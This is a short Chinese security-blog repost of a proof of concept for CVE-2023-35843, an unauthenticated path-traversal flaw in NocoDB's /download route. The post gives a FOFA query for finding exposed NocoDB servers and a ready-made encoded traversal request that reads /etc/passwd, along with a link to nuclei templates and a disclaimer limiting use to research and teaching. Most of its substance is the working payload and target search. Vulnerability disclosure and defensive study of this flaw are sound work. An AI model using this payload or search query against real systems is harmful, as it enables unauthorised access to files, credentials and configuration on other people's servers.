NocoDB任意文件读取(CVE-2023-35843) PoC

2023年6月28日01:02:53评论9 views字数 294阅读0分58秒阅读模式

简介

NocoDB 至 0.106.0（或 0.109.1）存在一个路径遍历漏洞，允许未经身份验证的攻击者通过操纵 /download 路由的 path 参数来访问服务器上的任意文件。此漏洞可能允许攻击者访问服务器上的敏感文件和数据，包括配置文件、源代码和其他敏感信息。

fofa="NocoDB"

/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

https://github.com/ibaiw/nuclei_templates

NocoDB任意文件读取(CVE-2023-35843) PoC

原文始发于微信公众号（小白安全工具）：NocoDB任意文件读取(CVE-2023-35843)

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

本文由 admin 发表于 2023年6月28日01:02:53
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
NocoDB任意文件读取(CVE-2023-35843) PoChttps://cn-sec.com/archives/1839677.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.